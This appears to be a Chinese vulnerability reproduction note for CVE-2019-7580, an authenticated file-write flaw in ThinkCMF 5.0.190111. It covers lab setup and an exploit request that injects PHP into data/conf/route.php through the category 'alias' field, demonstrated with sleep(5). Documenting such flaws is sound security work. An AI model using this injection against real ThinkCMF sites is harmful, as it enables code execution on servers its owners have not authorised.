## CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行
# 0x00 环境搭建
首先去thinkcmf下载5.0的最新版
https://github.com/thinkcmf/thinkcmf/archive/5.0.190111.zip
切换到web根目录下比如/var/www然后新建一个目录ThinkCMF-5.0.190111
把除public目录外的文件都移动到ThinkCMF-5.0.190111下。然后修改index.php将其中的
```
define('CMF_ROOT', __DIR__ . '/../');
```
修改为
```
define('CMF_ROOT', __DIR__ . '/ThinkCMF-5.0.190111/');
```
然后一步步完成安装。

# 0x01 利用过程:
后台登录状态下,
1、将payload插入数据库并读取然后写入data/conf/route.php文件
```
POST /portal/admin_category/addpost.html
parent_id=0&name=111&alias=a'=>array(%22%22)%2csleep(5)%2c'b
```
2、然后访问
```
/portal/admin_category/index.html
```
触发
```
include data/conf/route.php
```
操作执行payload。下图以执行sleep(5)作为演示。
